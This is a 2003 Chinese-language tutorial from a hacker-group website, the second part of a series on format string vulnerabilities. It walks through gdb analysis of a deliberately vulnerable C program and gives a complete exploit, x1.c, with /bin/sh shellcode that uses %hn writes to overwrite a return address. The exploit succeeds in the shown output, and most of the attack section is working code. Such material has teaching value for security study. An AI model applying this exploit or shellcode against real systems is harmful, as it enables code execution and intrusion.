快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术** <=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

Format String 漏洞介绍/总结(二)

提交文章： bkbll
提交日期： 2003-07-28
文章属性： 原创
文档类别： 安全技术
浏览次数： 今1次/总1444次

Format String 漏洞介绍/总结(二)
bkbll(bkbll@cnhonker.net)
2003/4/8
2. format stirng 漏洞利用
通过前面讨论，我们很容易知道，如果要让我们的shellcode运行起来，必须要知道三个数据：
1． 我们要写的地址,want_write_addr
2． Printf参数后面多少位是我们自定义的数据地址,pad,也就是stack popup的值
3． 我们的shellcode地址.
为什么我们要知道pad的数值呢？printf提供了一个$参数给我们，允许用户不用一个个显示参数，可以自定义显示数据，比如：

```
[bkbll@mobile fmtxp_lib]$ cat 7.c
main()
{
int i=1,j=2;

printf("j=%2$d i=%1$d\n",i,j);

}
[bkbll@mobile fmtxp_lib]$ cc 7.c ; ./a.out
j=2 i=1
[bkbll@mobile fmtxp_lib]$
```

有了这个$参数，我们也可以很容易控制写入到某个地址的数据地址：
比如，我们想写入900到变量n里面，我们可以这样写：

```
[bkbll@mobile fmtxp_lib]$ cat 8.c
main()
{
int n=0;
printf("before printf,n=%d\n",n);
printf("%800d%n\n",1,&n);
printf("after printf,n=%d\n",n);
}
[bkbll@mobile fmtxp_lib]$ cc 8.c ; ./a.out
before printf,n=0
1
after printf,n=800
[bkbll@mobile fmtxp_lib]$
```

前面介绍了大概的应用，我们来实战一下，就利用scut提供的一个程序做我们的例子吧：

```
[bkbll@mobile fmtxp_lib]$ cat vuln.c

#include <stdio.h>
#include <stdlib.h>
```

```
#include <string.h>

void foo (char *line);

int
main (int argc, char *argv[])
{
FILE * f;
char line[1024];

f = fopen (argv[1], "rb");
if (f == NULL) {
fprintf (stderr, "usage: %s file\n", argv[0]);

exit (EXIT_FAILURE);
}

fgets (line, sizeof (line) - 1, f);
line[1023] = '\x00';
foo (line);

exit (EXIT_SUCCESS);
}

void
foo (char *line)
{
printf (line);
}
```

程序从文件里面读取一行(<1024)然后显示出来，在foo函数里面存在一个格式化字符串的漏洞。

一般利用format string的方法有以下几种：

1. 覆盖GOT
2. 利用DTORS
3. 利用 C library hooks
4. 利用 atexit 结构(静态编译版本才行)
5. 覆盖函数返回地址

等。这里我想介绍覆盖GOT， 覆盖DTORS地址，覆盖函数返回地址三种方法, 其他方法类似。

关于GOT表和DTORS段的含义，请参考相关资料。

3. 利用覆盖函数返回地址等方法：

首先我们要知道want_write_addr以及pad和shellcode addr值，

我们先跟踪一下vuln程序：

```
[bkbll@mobile fmtxp_lib]$ echo "AAAA" > 6
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 6
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 6

Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6
```

从这里可以看出，foo函数的返回地址在0xbffff67c，也就是我们所要的want_write_addr地址。

```
(gdb) x/i printf
0x42052390 <printf>: push %ebp
(gdb) b *0x42052390
Breakpoint 2 at 0x42052390
(gdb) c
Continuing.

Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6
(gdb) x/16wx $esp
0xbffff65c: 0x080484d5 0xbffff690 0x4000a190 0x42062a9d
0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa8
0xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x08049660
0xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e
```

这里我们可以得到pad的值，我们的printf参数在0xbffff690:
(gdb) x/s 0xbffff690
0xbffff690: "AAAA\n"
而我们真正的参数出现在0xbffff68c+4处，我们计算一下中间需要跳过多少地址：
0xbffff68c+4-0xbffff65c-8=0x2c
0x2c/4=11,也就是说中间需要经过11个指针类型数据才能到达，所以:
pad=11+1=12(第12个指针类型数据)
从前面又得到我们的shellcode地址肯定是在0xbffff690+x处，和缓冲区溢出类似，我们可以填充适当的NOP指令，只要X不太多，就可以将指令跳转到我们的NOP上，我们的shellcode就可以执行了。
我们看利用程序：

```
[bkbll@mobile fmtxp_lib]$ cat x1.c
/* overwrite return addr by our shellcode address
* coded by bkbll(bkbll@cnhonker.net)
*/
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>

#define want_write_addr 0xbffff67c /* foo函数返回地址所在的地址 */
#define pad 12 /* 要经过多少个的指针类型地址数据 */
#define straddr 0xbffff690 /* 用户自定义的起始数据地址 */
char shellcode[]=
"\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89"
"\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c"
"\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff"
"/bin/sh";
main()
{
int high_ret,low_ret;
char buffer[1024];
int j=0;
int shell_addr_pad=0x50;
int rea_high_ret,rea_low_ret;
int print_acc;
memset(buffer,0x90,1024);
buffer[1023]=0;
/* 由于我们无法一下将shellcode地址写进want_write_addr,所以我们只要分两部分，前四位和后四位来写入,第一次写少点的数，第二次写两者之差就刚好满足要求了 */
high_ret=((straddr+shell_addr_pad) >> 16) & 0xffff;
low_ret=(straddr+shell_addr_pad) & 0xffff;
if(high_ret == low_ret) exit(0); /* 不可能作到长度不变 */
rea_high_ret=high_ret;
rea_low_ret=low_ret;
if(high_ret < low_ret ) { rea_high_ret=low_ret;rea_low_ret=high_ret;} /*确认最小的数据先写 */
print_acc=rea_high_ret - rea_low_ret;
fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);
/* 0xbffff67c */
buffer[0]=want_write_addr & 0xff;
buffer[1]=(want_write_addr >> 8 ) & 0xff;
buffer[2]=(want_write_addr >> 16 ) & 0xff;
buffer[3]=(want_write_addr >> 24 ) & 0xff;
/*0xbffff67c+2, 这样配合上面的数据就可以刚好写出一个4字节的指针出来 */
buffer[4]=((want_write_addr+2)) & 0xff;
buffer[5]=((want_write_addr+2)>>8) & 0xff;
buffer[6]=((want_write_addr+2)>>16) & 0xff;
buffer[7]=((want_write_addr+2)>>24) & 0xff;
j=8;
j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-
j,pad+1,print_acc,pad); /* 比较小的数值是0x0000bffff,比较大的数值是0x0000f690+0x50,但是 bfff恰好是地址的高四位，所以要写到第13个指针，也就是0xbffff67c+2的地方，而 f690+50就写到第12个指针处，也就是0xbffff67c处，用%hn表示写一个2字节的数据，short型的，而不是缺省的int型 */
buffer[j]=0x90;/* 补上一个NOP */
sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);
if(j>=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}
printf("%s\n",buffer);
}
```

好，我们来试一下这个exploit:

```
[bkbll@mobile fmtxp_lib]$ ./x1 >1
```

```
use shell addr:0xbffff6e0
[bkbll@mobile fmtxp_lib]$ ./vuln 1
……(空格和不需要的信息)
蛾)繞蛾柁          /bin/sh
sh-2.05b$id
uid=500(bkbll) gid=500(bkbll) groups=500(bkbll)
sh-2.05b$
```
成功了。我们跟踪一下程序，看是否真的符合要求。
```
[bkbll@mobile fmtxp_lib]$ gdb -q vuln
(gdb) x/i foo
0x80484c4 <foo>: push %ebp
(gdb) b *0x80484c4
Breakpoint 1 at 0x80484c4: file vuln.c, line 30.
(gdb) r 1
Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 1

Breakpoint 1, foo (line=0x2 <Address 0x2 out of bounds>) at vuln.c:30
30 {
(gdb) x/wx $esp
0xbffff67c: 0x080484b6 /* 返回地址所在地址  */
(gdb) disass foo
Dump of assembler code for function foo:
0x80484c4 <foo>: push %ebp
0x80484c5 <foo+1>: mov %esp,%ebp
0x80484c7 <foo+3>: sub $0x8,%esp
0x80484ca <foo+6>: sub $0xc,%esp
0x80484cd <foo+9>: pushl 0x8(%ebp)
0x80484d0 <foo+12>: call 0x8048350 <printf>
0x80484d5 <foo+17>: add $0x10,%esp
0x80484d8 <foo+20>: leave
0x80484d9 <foo+21>: ret
End of assembler dump.
(gdb) b *0x80484d5
Breakpoint 2 at 0x80484d5: file vuln.c, line 31.
(gdb)c
蛾)繞蛾柁          /bin/sh

Breakpoint 2, 0x080484d5 in foo (
line=0xbffff690 "|?縹??49143p%13$hn%14049p%12$hn", '\220' <repeats 166 times>...) at
vuln.c:31
31 printf (line);
(gdb) x/wx 0xbffff67c /*看看现在原来应该放返回 刂返牡 刂防锸鞘裁茨谌? */
0xbffff67c: 0xbffff6e0
(gdb) x/i 0xbffff6e0 /* 已经替换成了我们自己的buffer addr */
0xbffff6e0: nop
(gdb)
0xbffff6e1: nop
(gdb)
0xbffff6e2: nop /*跳转到NOP指令了  */(gdb) c
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b30 in _start () from /lib/ld-linux.so.2
ok,已经跳入到了/bin/sh了。
```

返回上页

Copyright © 2000-2004 **HUC** All Rights Reserved.
中国红客网络技术联盟 www.cnhonker.com
webmaster@cnhonker.net